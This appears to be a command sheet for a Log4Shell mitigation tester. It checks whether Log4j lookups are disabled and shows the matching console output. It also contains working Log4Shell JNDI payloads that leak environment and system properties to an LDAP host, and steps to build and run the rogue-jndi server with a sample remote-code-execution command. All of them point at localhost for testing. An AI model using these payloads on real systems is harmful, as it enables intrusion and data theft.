./gradlew assemble

java -jar app/build/libs/app-all.jar

FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'